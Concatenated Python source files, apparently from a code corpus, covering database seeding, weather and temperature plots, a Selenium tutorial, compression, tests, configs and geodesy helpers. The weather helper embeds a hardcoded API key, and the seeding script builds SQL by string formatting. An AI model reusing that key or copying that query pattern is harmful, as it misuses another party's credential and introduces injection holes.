comment_dates.append(date)\r\n\r\n try:\r\n for video_id in video_ids:\r\n for temp_i in range(random.randint(0,comment_num)):\r\n comment_date = comment_dates[random.randint(0,len(comment_dates)-1)]\r\n user_id = int(data_user[random.randint(0,len(data_user)-1)]['user_id'])\r\n content = contents[random.randint(0,len(contents)-1)]\r\n num_like = random.randint(0,15)\r\n reply = ''\r\n\r\n for temp_j in range(random.randint(0,reply_num)):\r\n reply+=(data_user[random.randint(0,len(data_user)-1)]['user_id']+\":::\"+replys[random.randint(0,len(replys)-1)]+\":=:\")\r\n\r\n if reply!='':\r\n reply = reply[:-3]\r\n\r\n sql = \"\"\"\r\n INSERT INTO comment (video_id,date,user_id,content,num_like,reply)\r\n VALUES (%d,'%s',%d,'%s',%d,'%s')\r\n \"\"\" % (video_id,comment_date,user_id,content,num_like,reply)\r\n cursor.execute(sql)\r\n\r\n db.commit()\r\n print('【通知】comment表写入完成')\r\n except:\r\n db.rollback()\r\n print(\"【错误】comment表写入出错\")\r\n\r\n# 填充【sub_video】表\r\nwith open(url_sub_video, 'r',encoding='utf-8') as file :\r\n date_sub_video = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE sub_video')\r\n\r\n sub_video_num_start = date_sub_video['num']['start']\r\n sub_video_num_end = date_sub_video['num']['end']\r\n video_id = date_sub_video['video_id_start']\r\n names = date_sub_video['name']\r\n sub_url = date_sub_video['url']\r\n images_start = date_sub_video['image']['start']\r\n images_end = date_sub_video['image']['end']\r\n\r\n progresses = []\r\n for pro_i in range(5, 105, 10):\r\n progresses.append(float(pro_i)/100.0)\r\n\r\n try:\r\n for root_video_id in video_ids:\r\n for progress in progresses:\r\n for temp_i in range(random.randint(sub_video_num_start,sub_video_num_end)):\r\n name = names[random.randint(0, len(names) - 1)]\r\n image = \"/res/sub_logo/\"+str(random.randint(images_start,images_end))+\".jpg\"\r\n sub_video_like = random.randint(0,15)\r\n\r\n sql = \"\"\"\r\n INSERT INTO sub_video (root_video_id,progress,video_id,name,image,url,`like`)\r\n VALUES (%d,%f,%d,'%s','%s','%s',%d)\r\n \"\"\" % (root_video_id,progress,video_id,name,image,sub_url,sub_video_like)\r\n cursor.execute(sql)\r\n video_id+=1\r\n\r\n db.commit()\r\n print('【通知】sub_video表写入完成')\r\n except BaseException as e:\r\n db.rollback()\r\n print(\"【错误】sub_video表写入出错\")\r\n print(e)\r\n\r\n\r\n\r\n\r\ndb.close()","sub_path":"Init_Script/Create_DBTable.py","file_name":"Create_DBTable.py","file_ext":"py","file_size_in_byte":8998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"64788901","text":"import csv\n\nfrom matplotlib import pyplot as plt\nfrom datetime import datetime as dt\n\nsitka_filename = 'Data visualization\\\\Chapter 2\\\\data\\\\sitka_weather_2018_simple.csv'\ndeath_valley_filename = 'Data visualization\\\\Chapter 2\\\\data\\\\death_valley_2018_simple.csv'\n\n# Sitka data\nwith open(sitka_filename) as f:\n csv_data_sitka = csv.reader(f)\n sitka_header_data = next(csv_data_sitka)\n\n for i, data in enumerate(sitka_header_data):\n if data == 'DATE':\n s_date_index = i\n if data == 'TMAX':\n s_tmax_index = i\n if data == 'TMIN':\n s_tmin_index = i \n\n # Data lists for sitka s_\n s_dates = []\n s_highs = []\n s_lows = []\n\n # Data gathering loop\n for row in csv_data_sitka:\n date = dt.strptime(row[s_date_index], '%Y-%m-%d')\n try:\n high_t = int(row[s_tmax_index])\n low_t = int(row[s_tmin_index])\n except ValueError:\n print(f'Missing Value for {date}!')\n else:\n s_dates.append(date)\n s_highs.append(high_t)\n s_lows.append(low_t)\n\n# Death valley data\nwith open(death_valley_filename) as f:\n csv_data_death_valley = csv.reader(f)\n death_valley_header_data = next(csv_data_death_valley)\n\n for i, data in enumerate(death_valley_header_data):\n if data == 'DATE':\n dv_date_index = i\n elif data == 'TMAX':\n dv_tmax_index = i\n elif data == 'TMIN':\n dv_tmin_index = i\n\n # Data lists for death valley dv_\n dv_highs = []\n dv_lows = []\n dv_dates = []\n\n # Data loop\n for row in csv_data_death_valley:\n date = dt.strptime(row[dv_date_index], '%Y-%m-%d')\n try:\n high_t = int(row[dv_tmax_index])\n low_t = int(row[dv_tmin_index])\n except ValueError:\n print(f'Missing data for {date}.')\n else:\n dv_dates.append(date)\n dv_highs.append(high_t)\n dv_lows.append(low_t)\n\n# Visualization\n\nplt.style.use('seaborn-dark')\nfig, ax = plt.subplots(figsize=(15, 7), dpi=128)\n\n# Sitka plots\nax.plot(s_dates, s_highs, c='red', alpha=0.4, label='Sitka Highs')\nax.plot(s_dates, s_lows, c='blue', alpha=0.6 ,label='Sitka Lows')\nax.fill_between(s_dates, s_highs, s_lows, facecolor='orange', alpha=0.2)\n\n# Death Valley plots\nax.plot(dv_dates, dv_highs, c='red', alpha=0.6, label='Death Valley Highs')\nax.plot(dv_dates, dv_lows, c='blue', alpha=0.4, label='Death Valley Lows')\nax.fill_between(dv_dates, dv_highs, dv_lows, facecolor='purple', alpha=0.2)\n\n# Styling\nax.set_title('Comparison between Sitka and Death Valley by daily temperature, 2018', fontsize=22)\nax.set_xlabel('Dates', fontsize=14)\nax.set_ylabel('Temperature (F)', fontsize=14)\nax.tick_params(axis='both', which='major', labelsize=16)\nfig.autofmt_xdate()\n\nplt.legend()\nplt.show()\n\n# A lot of code could be refactored, just make 2 functions.\n# One function for the csv file extractor with 3 lists as return\n# And the other one for visualizing the data, 1 complete plot as return\n","sub_path":"Data visualization/Chapter 2/sitka_death_valley_comaprison.py","file_name":"sitka_death_valley_comaprison.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"155864919","text":"# -*- coding:utf-8 -*-\n'''\n\n运行错误：\nUserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead\n warnings.warn('Selenium support for PhantomJS has been deprecated, please use headless '\n\n\n大概意思：selenium已经放弃PhantomJS，了，建议使用火狐或者谷歌无界面浏览器。\n\n如果要取消错误，可以降低 Selenium 的版本\n\n\n查找页面元素：\n\n 返回一个元素：\n\n find_element_by_id # id定位\n find_element_by_name # name定位\n find_element_by_xpath # xpath定位\n\n # （查找元素的链接文本）\n find_element_by_link_text # link定位\n\n # （查找元素的链接的部分文本）\n find_element_by_partial_link_text # partial_link定位\n\n find_element_by_tag_name # tag定位\n find_element_by_class_name # class定位\n find_element_by_css_selector # css定位\n\n\n 复数形式：\n\n find_elements_by_name\n find_elements_by_xpath\n find_elements_by_link_text\n find_elements_by_partial_link_text\n find_elements_by_tag_name\n find_elements_by_class_name\n find_elements_by_css_selector\n\n\n\n 这两种就是快失传了的\n find_element(self, by='id', value=None)\n find_elements(self, by='id', value=None)\n\n\n 1.element方法定位到是是单数，是直接定位到元素\n\n 2.elements方法是复数，这个学过英文的都知道，定位到的是一组元素，返回的是list队列\n\n\n\n元素操作方法：\n\n clear 清除元素的内容\n send_keys 模拟按键输入\n click 点击元素\n submit 提交表单\n quit 退出浏览器\n\n\n获取常用的值:\n\n size 获取元素的尺寸\n text 获取元素的文本\n get_attribute(name) 获取属性值\n location 获取元素坐标，先找到要获取的元素，再调用该方法\n page_source 返回页面源码\n driver.title 返回页面标题\n current_url 获取当前页面的URL\n is_displayed() 设置该元素是否可见\n is_enabled() 判断元素是否被使用\n is_selected() 判断元素是否被选中\n tag_name 返回元素的tagName\n\n'''\n\nfrom selenium import webdriver\n\nimport time\n\ndriver = webdriver.PhantomJS()\n\ndriver.get('http://www.baidu.com/')\n\nprint(driver.title)\n\nprint(driver.page_source)\n\nelement = driver.find_element_by_name('wd')\nelement.send_keys('phantomjs')\n\ndriver.save_screenshot('phantomjs.png')\n\ndriver.find_element_by_id(\"kw\").clear()\n\n\ndriver.find_element_by_id(\"kw\").send_keys(u'美女')\ndriver.find_element_by_id('su').click()\ndriver.save_screenshot('meinv.png')\n\n\nelement = driver.find_element_by_class_name(\"s_btn\")\n\nprint('sss')\n\ndriver.quit()\n\n'''\n
    Cheddar
    Gouda
    \n'''\n","sub_path":"Exercise/Reptile/Selenium/0、Selenium 基本用法.py","file_name":"0、Selenium 基本用法.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"159728483","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom iabox import Interval, cadd, csqr, cmul, math\n\nR1 = R2 = Interval(0, math.inf)\nR = I2 = Interval(-math.inf, math.inf)\n\nE = Interval(23, 26)\nI = Interval(4, 8)\nU1 = Interval(10, 11)\nU2 = Interval(14, 17)\nP = Interval(124, 130)\n\nprint(f\"R1={R1}, R2={R2}, E={E}, I={I}, U1={U1}, U2={U2}\")\n\nfor k in range(10): # To be more accurate to the fixed point\n R, R1, R2 = cadd(R, R1, R2)\n P, E, I = cmul(P, E, I)\n E, R, I = cmul(E, R, I)\n U2, R2, I = cmul(U2, R2, I)\n U1, R1, I = cmul(U1, R1, I)\n E, U1, U2 = cadd(E, U1, U2)\n I2, I = csqr(I2, I)\n P, R, I2 = cmul(P, R, I2)\n\nprint(f\"R1={R1}, R2={R2}, E={E}, I={I}, U1={U1}, U2={U2}\")\n","sub_path":"iamooc/04_circuit.py","file_name":"04_circuit.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"611118332","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef microcar(x,y):\n \n ex_hor_disp = np.array([])\n ex_vert_disp = np.array([])\n \n act_hor_disp = np.array([])\n act_vert_disp = np.array([])\n \n ex_dist = np.array([])\n act_dist = np.array([])\n \n \n for i in range(len(x)):\n \n #This is us defining our measurements of displacement and distance, we can do so globally(outside each for loop) because it's calculated for each file just once\n ex_distance = 0\n act_distance = 0\n \n with open(x[i],'r') as ex_inputfile:\n #This is us declaring and initalising variables in a local scope to reset for each car\n vert_displacement = 0\n hor_displacement = 0\n \n \n \n \n \n for line in ex_inputfile:\n instruction = line.split(',')\n instruction[2] = instruction[2].strip()\n \n \n \n \n #This is just looking at the instructed/expected displacement over time\n if instruction[0] == 'N':\n vert_displacement += (int(instruction[1])*int(instruction[2]))\n \n elif instruction[0] == 'S':\n vert_displacement -= (int(instruction[1])*int(instruction[2]))\n \n elif instruction[0] == 'E':\n hor_displacement += (int(instruction[1])*int(instruction[2]))\n \n else:\n hor_displacement -= (int(instruction[1])*int(instruction[2]))\n \n ex_distance += (int(instruction[1])*int(instruction[2]))\n \n vert_displacement = round(vert_displacement,2)\n hor_displacement = round(hor_displacement,2)\n ex_distance = round(ex_distance,2)\n \n \n #This is used to add the final expected displacements to the array\n ex_hor_disp = np.append(ex_hor_disp,hor_displacement)\n ex_vert_disp = np.append(ex_vert_disp,vert_displacement)\n \n #Likewise, this is used to add the final expected distance travelled to the array\n ex_dist = np.append(ex_dist,ex_distance)\n \n\n\n with open (y[i],'r') as act_inputfile:\n #This is again just us declaring and initalising variables on a local scale for each car\n vert_displacement = 0\n hor_displacement = 0\n \n for line in act_inputfile:\n action = line.split(',')\n action[2] = action[2].strip()\n \n \n \n #This is just looking at the actual displacement over time\n if action[0] == 'N':\n vert_displacement += (int(action[1])*int(action[2]))\n \n elif action[0] == 'S':\n vert_displacement -= (int(action[1])*int(action[2]))\n \n elif action[0] == 'E':\n hor_displacement += (int(action[1])*int(action[2]))\n \n else:\n hor_displacement -= (int(action[1])*int(action[2]))\n \n act_distance += (int(action[1])*int(action[2]))\n \n vert_displacement = round(vert_displacement,2)\n hor_displacement = round(hor_displacement,2)\n act_distance = round(act_distance,2)\n \n #This is used to add the final expected displacements to the array\n act_hor_disp = np.append(act_hor_disp,hor_displacement)\n act_vert_disp = np.append(act_vert_disp,vert_displacement)\n \n #Likewise, this is used to add the final expected distance travelled to the array\n act_dist = np.append(act_dist,act_distance)\n \n \n return ex_hor_disp, ex_vert_disp, act_hor_disp, act_vert_disp, ex_dist, act_dist\n\n\ndef plotmicrocar(x,y):\n \n \n #setting each array equal to the returned arrays from the microcar function\n ex_hor_disp, ex_vert_disp, act_hor_disp, act_vert_disp, ex_dist, act_dist = microcar(x,y)\n \n #And now, we start to plot\n \n #The reason we created the zero array is just so that if all the displacements are positive, we'll just have a minimum of 0\n zero_array = np.array([0])\n #One of the criteria is to adjust the axes such that the plots are square, so to do so,we'll find the minimum and maximum of the vertical and horizontal displacements\n min_vert = min(np.concatenate((ex_vert_disp,act_vert_disp,zero_array),axis = 0))\n max_vert = max(np.concatenate((ex_vert_disp,act_vert_disp,zero_array),axis = 0))\n \n min_hor = min(np.concatenate((ex_hor_disp,act_hor_disp,zero_array),axis = 0))\n max_hor = max(np.concatenate((ex_hor_disp,act_hor_disp,zero_array),axis = 0))\n \n min_all = min(min_vert,min_hor)\n max_all = max(max_vert,max_hor)\n print(min_all)\n print(max_all)\n \n #This is the top graph, showing expected vs actual distances covered by each car\n \n #This is just declaring that it's a subplot, but the problem is, how do we adjust the size of the top plot so it takes up the whole top row?\n \n #This problem is fixed by the fact that you don't have to have consistent row and column numbers for each subplot, just that the ordering makes sense.\n plt.subplot(2,1,1)\n \n \n '''Really, this whole part is just taken from an online source, at least the width adjustment part is'''\n #This is getting the x position of each bar, for the expected distances\n x1 = np.arange(len(ex_dist))\n \n #This is getting the x positions of each bar, for the actual distances\n x2 = [x + 0.2 for x in x1]\n \n #This is actually plotting each one now\n \n #Plot the expected distances for each car\n plt.bar(x1, ex_dist, width = 0.2, color = 'blue', label = 'Exp')\n \n #Plot the actual distances for each car\n plt.bar(x2, act_dist, width = 0.2, color = 'black', label = 'Act')\n \n #general layout\n plt.xlabel('mcar')\n plt.ylabel('Dist')\n \n #So usually the tick would appear in the middle of the left bar if we just had x1, but we want it in the middle, so we use x1+0.1, which is half the width of the bar.\n plt.xticks(x1 + 0.1, x1)\n plt.legend()\n plt.title(\"Distance\")\n \n plt.tight_layout()\n \n \n \n \n #This is the bottom left subplot\n miv_legend_array = []\n for i in range(len(ex_hor_disp)):\n miv_legend_array.append(\"mivcar \"+str(i))\n \n \n \n \n plt.subplot(2,2,3)\n plt.xlim(min_all-10,max_all+10)\n plt.ylim(min_all-10,max_all+10)\n for i in range(len(ex_hor_disp)):\n plt.scatter([ex_hor_disp[i]],[ex_vert_disp[i]], marker = 'o', c = np.random.rand(3,) )\n plt.xlabel('x Displacement')\n plt.ylabel('y Disp (m)')\n plt.title('E')\n plt.legend([x for x in miv_legend_array])\n \n #This is the bottom right subplot\n \n #This just generates the suff for the legend\n car_legend_array = []\n for i in range(len(ex_hor_disp)):\n car_legend_array.append(\"Car \"+str(i))\n \n \n \n plt.subplot(2,2,4)\n plt.xlim(min_all-10,max_all+10)\n plt.ylim(min_all-10,max_all+10)\n for i in range(len(ex_hor_disp)):\n plt.scatter([act_hor_disp[i]],[act_vert_disp[i]], marker = 'x', c = np.random.rand(3,))\n plt.xlabel('x Displacement')\n plt.ylabel('y Disp (m)') \n plt.title('Actual')\n plt.legend([x for x in car_legend_array])\n plt.show()\n \n\n \n \n \n\n \n \n \n \n","sub_path":"Zhou_22465982,v.2.py","file_name":"Zhou_22465982,v.2.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563612017","text":"import re\nimport pytest\nimport mock\nfrom piecrust.data.filters import (\n PaginationFilter, HasFilterClause, IsFilterClause,\n page_value_accessor)\nfrom piecrust.rendering import QualifiedPage, PageRenderingContext, render_page\nfrom piecrust.serving.util import find_routes\nfrom piecrust.sources.base import REALM_USER, REALM_THEME\nfrom .mockutil import mock_fs, mock_fs_scope\n\n\n@pytest.mark.parametrize('uri, route_specs, expected',\n [\n ('/',\n [{'src': 'pages', 'pat': '(?P.*)'}],\n [('pages', {'path': '/'})]),\n ('/',\n [{'src': 'pages', 'pat': '(?P.*)'},\n {'src': 'theme', 'pat': '(?P.*)', 'realm': REALM_THEME}],\n [('pages', {'path': '/'}), ('theme', {'path': '/'})])\n ])\ndef test_find_routes(uri, route_specs, expected):\n routes = []\n for rs in route_specs:\n m = mock.Mock()\n m.source_name = rs['src']\n m.source_realm = rs.setdefault('realm', REALM_USER)\n m.uri_re = re.compile(rs['pat'])\n m.matchUri = lambda u: m.uri_re.match(u).groupdict()\n routes.append(m)\n matching = find_routes(routes, uri)\n\n assert len(matching) == len(expected)\n for i in range(len(matching)):\n route, metadata, is_sub_page = matching[i]\n exp_source, exp_md = expected[i]\n assert route.source_name == exp_source\n assert metadata == exp_md\n\n\n@pytest.mark.parametrize(\n 'tag, expected_indices',\n [\n ('foo', [1, 2, 4, 5, 6]),\n ('bar', [2, 3, 4, 6, 8]),\n ('whatever', [5, 8]),\n ('unique', [7]),\n ('missing', None)\n ])\ndef test_serve_tag_page(tag, expected_indices):\n tags = [\n ['foo'],\n ['foo', 'bar'],\n ['bar'],\n ['bar', 'foo'],\n ['foo', 'whatever'],\n ['foo', 'bar'],\n ['unique'],\n ['whatever', 'bar']]\n\n def config_factory(i):\n c = {'title': 'Post %d' % (i + 1)}\n c['tags'] = list(tags[i])\n return c\n\n fs = (mock_fs()\n .withConfig()\n .withPages(8, 'posts/2015-03-{idx1:02}_post{idx1:02}.md',\n config_factory)\n .withPage('pages/_tag.md', {'layout': 'none', 'format': 'none'},\n \"Pages in {{tag}}\\n\"\n \"{%for p in pagination.posts -%}\\n\"\n \"{{p.title}}\\n\"\n \"{%endfor%}\"))\n with mock_fs_scope(fs):\n app = fs.getApp()\n page = app.getSource('pages').getPage({'slug': '_tag', 'tag': tag})\n route = app.getGeneratorRoute('posts_tags')\n assert route is not None\n\n route_metadata = {'slug': '_tag', 'tag': tag}\n qp = QualifiedPage(page, route, route_metadata)\n ctx = PageRenderingContext(qp)\n route.generator.prepareRenderContext(ctx)\n rp = render_page(ctx)\n\n expected = \"Pages in %s\\n\" % tag\n if expected_indices:\n for i in reversed(expected_indices):\n expected += \"Post %d\\n\" % i\n assert expected == rp.content\n\n\n@pytest.mark.parametrize(\n 'category, expected_indices',\n [\n ('foo', [1, 2, 4]),\n ('bar', [3, 6]),\n ('missing', None)\n ])\ndef test_serve_category_page(category, expected_indices):\n categories = [\n 'foo', 'foo', 'bar', 'foo', None, 'bar']\n\n def config_factory(i):\n c = {'title': 'Post %d' % (i + 1)}\n if categories[i]:\n c['category'] = categories[i]\n return c\n\n fs = (mock_fs()\n .withConfig({\n 'site': {\n 'taxonomies': {\n 'categories': {'term': 'category'}\n }\n }\n })\n .withPages(6, 'posts/2015-03-{idx1:02}_post{idx1:02}.md',\n config_factory)\n .withPage('pages/_category.md', {'layout': 'none', 'format': 'none'},\n \"Pages in {{category}}\\n\"\n \"{%for p in pagination.posts -%}\\n\"\n \"{{p.title}}\\n\"\n \"{%endfor%}\"))\n with mock_fs_scope(fs):\n app = fs.getApp()\n page = app.getSource('pages').getPage({'slug': '_category',\n 'category': category})\n route = app.getGeneratorRoute('posts_categories')\n assert route is not None\n\n route_metadata = {'slug': '_category', 'category': category}\n qp = QualifiedPage(page, route, route_metadata)\n ctx = PageRenderingContext(qp)\n route.generator.prepareRenderContext(ctx)\n rp = render_page(ctx)\n\n expected = \"Pages in %s\\n\" % category\n if expected_indices:\n for i in reversed(expected_indices):\n expected += \"Post %d\\n\" % i\n assert expected == rp.content\n\n","sub_path":"tests/test_serving.py","file_name":"test_serving.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"546501163","text":"#!/usr/bin/python3\n#writer: Abhishek Bishnoi\n# importing open weather msp library\nimport pyowm\n#api key to access api \nowm = pyowm.OWM('a3ac1a7d13422b804a326029769907f2')\n# this function returns all values \ndef common(city):\n global observation,weather,status,temperature,wind_speed,humidity,pressure\n observation = owm.weather_at_place(city)\n weather = observation.get_weather()\n status = weather.get_status()\n temperature = weather.get_temperature('celsius')['temp']\n wind_speed = weather.get_wind()['speed']\n humidity = weather.get_humidity()\n pressure = weather.get_pressure()['press']\n# this is used to get complete weather\ndef completeWeather(city):\n global wind_speed,status,temperature,humidity,pressure\n common(city)\n return \"The weather in \"+city+\" is \"+status+\" with temperature of \"+str(temperature)+\" degree Celsius \"+\"with wind speed of \"+str(wind_speed)+\" meter per second \"+\"and with humidity of \"+str(humidity)+\" %\"+\" and with \"+str(pressure)+\" Atmospheric pressure.\"\n# this function is used to know status about weather in a particular city\ndef statusWeather(city):\n global status\n common(city)\n return \"The weather in \"+city+\" is \"+status\n# this function is used to find temprature of a city \ndef tempWeather(city):\n global temperature\n common(city)\n return \"The temperature in \"+city+\" is \"+str(temperature)+\" degree Celsius\"\n# this function is used to find wind speed of any city \ndef wspeedWeather(city):\n global wind_speed\n common(city)\n return \"The wind speed in \"+city+\" is \"+str(wind_speed)+\" meter per second\"\n# this function is used to find humidity of any city\ndef humidityWeather(city):\n global humidity\n common(city)\n return \"The humidity in \"+city+\" is \"+str(humidity)+\"%\"\n# this function gives the value of pressure in city \ndef pressureWeather(city):\n global pressure\n common(city)\n return \"The pressure in \"+city+\" is \"+str(pressure)+\" Atmospheric pressure.\"\n","sub_path":"weather_search.py","file_name":"weather_search.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"175764582","text":"from trees import *\nfrom vl_codes import *\nfrom adaptive_arithmetic import adaptive_arithmetic_encode\nfrom adaptive_huffman import adaptive_huff\nfrom adaptive_arithmetic import alphabet as alph\nimport arithmetic \nfrom itertools import groupby\nfrom json import dump\nfrom sys import argv\n\n\ndef camzip(method, filename, max_char):\n \n with open(filename, 'rb') as fin:\n x = fin.read()\n\n alphabet = ''\n \n frequencies = dict([(key, len(list(group))) for key, group in groupby(sorted(x))])\n n = sum([frequencies[a] for a in frequencies])\n p = dict([(a,frequencies[a]/n) for a in frequencies])\n\n if (method == 'huffman') or (method == 'shannon_fano'):\n if (method == 'huffman'):\n xt = huffman(p)\n c = xtree2code(xt)\n else:\n c = shannon_fano(p)\n xt = code2xtree(c)\n\n y = vl_encode(x, c)\n outfile = filename + '.cz' + method[0]\n\n elif method == 'arithmetic':\n y = arithmetic.encode(x,p)\n outfile = filename + '.cz' + method[0]\n\n elif method == 'adaptive_huffman':\n alphabet = alph(x, max_char)\n y = adaptive_huff(x, alphabet)\n outfile = filename + '.cz' + 'f'\n\n elif method == 'adaptive_arithmetic':\n alphabet = alph(x, max_char)\n y = adaptive_arithmetic_encode(x, alphabet) \n outfile = filename + '.cz' + 'r'\n\n else:\n raise NameError('Compression method %s unknown' % method)\n \n y = bytes(bits2bytes(y))\n\n with open(outfile, 'wb') as fout:\n fout.write(y)\n\n pfile = filename + '.czp'\n n = len(x)\n\n with open(pfile, 'w') as fp:\n dump(frequencies, fp)\n\n return alphabet\n\n##if __name__ == \"__main__\":\n## if (len(argv) != 3):\n## print('Usage: python %s compression_method filename\\n' % argv[0])\n## print('Example: python %s huffman hamlet.txt' % argv[0])\n## print('or: python %s shannon_fano hamlet.txt' % argv[0])\n## print('or: python %s arithmetic hamlet.txt' % argv[0])\n## exit()\n##\n## camzip(argv[1], argv[2])\n","sub_path":"3F7 FTR Folder/camzip2.py","file_name":"camzip2.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"590983900","text":"# Dataset\ndataset_name = 'traffic' # Dataset name\ndataset_path = 'datasets/traffic/input' # Dataset path\ngt_path = 'datasets/traffic/groundtruth' # Ground truth path\nresults_path = 'datasets/traffic/results'\n\n# Input Images\nnr_images = 100\nfirst_image = '000950' # Fist image filename\nimage_type = 'jpg' # Input image type\ngt_image_type = 'png' # Ground truth image type\nresult_image_type = 'png'\n\n# Background Modelling\nalpha = 3.7627\nrho = 0.1578\n\nmodelling_method = 'adaptive' # adaptive, non-adaptive\ncolor_images = True # Use RGB, HSV color channels\ncolor_space = \"RGB\" # RGB, HSV\nevaluate_foreground = True\nevaluate_alpha_range = [0, 25] # range of alpha values\nevaluate_alpha_values = 100 # number of alpha values to evaluate\nevaluate_rho_range = [0, 1] # range of rho values\nevaluate_rho_values = 20 # number of rho values to evaluate\nfind_best_parameters = False\nplot_back_model = False\n\n# Foreground Modelling\nfour_connectivity = False\nAUC_area_filtering = False\t\t # Plot AUC vs P pixels\nP_pixels_range = [0, 1000] # range of P pixels\nP_pixels_values = 40\n\ntask_name = 'task3' # else task1, task2\nopening_strel = 'diagonal'\nopening_strel_size = 10\nclosing_strel = 'diamond'\nclosing_strel_size = 10\narea_filtering = True\narea_filtering_P = 820\nshadow_remove = True\n\n# Save results\nsave_results = True # Save Log file\noutput_folder = 'results' # Output folder to save the results of the test\nsave_plots = True # Save the plots to disk\n","sub_path":"config/traffic_background.py","file_name":"traffic_background.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"47480258","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 11 20:09:58 2019\r\n\r\n@author: BIT1120172681\r\n\"\"\"\r\n\r\nFileNameOpen = r\"G:\\NamelessCotrunQuad_V1.0-master\\User\\new\\new.txt\"\r\nFileNameWrite = r\"G:\\NamelessCotrunQuad_V1.0-master\\User\\new\\new1.txt\"\r\n\r\nKeyStr = \"//\"\r\nFoundFlag = False\r\n\r\nFileObj = open(FileNameOpen, encoding='utf-8')\r\nFileWrite = open(FileNameWrite, \"w\")\r\n\r\nLineTemp = FileObj.readline()\r\n\r\nwhile LineTemp:\r\n if LineTemp.find(KeyStr) == 0:\r\n # print(LineTemp)\r\n FileWrite.write(LineTemp)\r\n LineTemp = FileObj.readline()\r\n else:\r\n LineTemp = FileObj.readline()\r\n \r\nFileObj.close()\r\nFileWrite.close()\r\n# input()\r\n","sub_path":"FileBatchProcessor/FileBatchProcessor_v1_0.py","file_name":"FileBatchProcessor_v1_0.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"575052763","text":"\"\"\"Geodesy-related utility functions.\"\"\"\n\n\nfrom osgeo import gdal\nimport numpy as np\nimport pickle\nimport os\n\ngdal.UseExceptions()\n\n\n# Top of the troposphere\nzref = 15000\n\n\ndef sind(x):\n \"\"\"Return the sine of x when x is in degrees.\"\"\"\n return np.sin(np.radians(x))\n\n\ndef cosd(x):\n \"\"\"Return the cosine of x when x is in degrees.\"\"\"\n return np.cos(np.radians(x))\n\n\ndef tand(x):\n \"\"\"Return degree tangent.\"\"\"\n return np.tan(np.radians(x))\n\n\ndef lla2ecef(lat, lon, height):\n import pyproj\n ecef = pyproj.Proj(proj='geocent')\n lla = pyproj.Proj(proj='latlong')\n\n return pyproj.transform(lla, ecef, lon, lat, height)\n\n\ndef ecef2lla(x, y, z):\n import pyproj\n ecef = pyproj.Proj(proj='geocent')\n lla = pyproj.Proj(proj='latlong')\n lon, lat, height = pyproj.transform(ecef, lla, x, y, z)\n return lat, lon, height\n\n\ndef enu2ecef(east, north, up, lat0, lon0, h0):\n \"\"\"Return ecef from enu coordinates.\"\"\"\n # I'm looking at\n # https://github.com/scivision/pymap3d/blob/master/pymap3d/__init__.py\n x0, y0, z0 = lla2ecef(lat0, lon0, h0)\n\n t = cosd(lat0) * up - sind(lat0) * north\n w = sind(lat0) * up + cosd(lat0) * north\n\n u = cosd(lon0) * t - sind(lon0) * east\n v = sind(lon0) * t + cosd(lon0) * east\n\n my_ecef = np.stack((x0 + u, y0 + v, z0 + w))\n\n return my_ecef\n\n\ndef lla2lambert(lat, lon, height=None):\n import pyproj\n lla = pyproj.Proj(proj='latlong')\n lambert = pyproj.Proj(\n '+proj=lcc +lat_1=30.0 +lat_2=60.0 +lat_0=18.500015 +lon_0=-100.2 '\n '+a=6370 +b=6370 +towgs84=0,0,0 +no_defs')\n\n if height is None:\n return lla(lat, lon, errcheck=True)\n return pyproj.transform(lla, lambert, lat, lon, height)\n\n\ndef state_to_los(t, x, y, z, vx, vy, vz, lats, lons, heights):\n import Geo2rdr\n\n real_shape = lats.shape\n lats = lats.flatten()\n lons = lons.flatten()\n heights = heights.flatten()\n\n geo2rdr_obj = Geo2rdr.PyGeo2rdr()\n geo2rdr_obj.set_orbit(t, x, y, z, vx, vy, vz)\n\n loss = np.zeros((3, len(lats)))\n slant_ranges = np.zeros_like(lats)\n\n for i, (lat, lon, height) in enumerate(zip(lats, lons, heights)):\n height_array = np.array(((height,),))\n\n # Geo2rdr is picky about the type of height\n height_array = height_array.astype(np.double)\n\n geo2rdr_obj.set_geo_coordinate(np.radians(lon),\n np.radians(lat),\n 1, 1,\n height_array)\n # compute the radar coordinate for each geo coordinate\n geo2rdr_obj.geo2rdr()\n\n # get back the line of sight unit vector\n los_x, los_y, los_z = geo2rdr_obj.get_los()\n loss[:, i] = los_x, los_y, los_z\n\n # get back the slant ranges\n slant_range = geo2rdr_obj.get_slant_range()\n slant_ranges[i] = slant_range\n\n los = loss * slant_ranges\n\n # Have to think about traversal order here. It's easy, though, since\n # in both orders xs come first, followed by all ys, followed by all\n # zs.\n return los.reshape((3,) + real_shape)\n\n\ndef toXYZ(lats, lons, hts):\n \"\"\"Convert lat, lon, geopotential height to x, y, z in ECEF.\"\"\"\n # Convert geopotential to geometric height. This comes straight from\n # TRAIN\n g0 = 9.80665\n # Map of g with latitude (I'm skeptical of this equation)\n g = 9.80616*(1 - 0.002637*cosd(2*lats) + 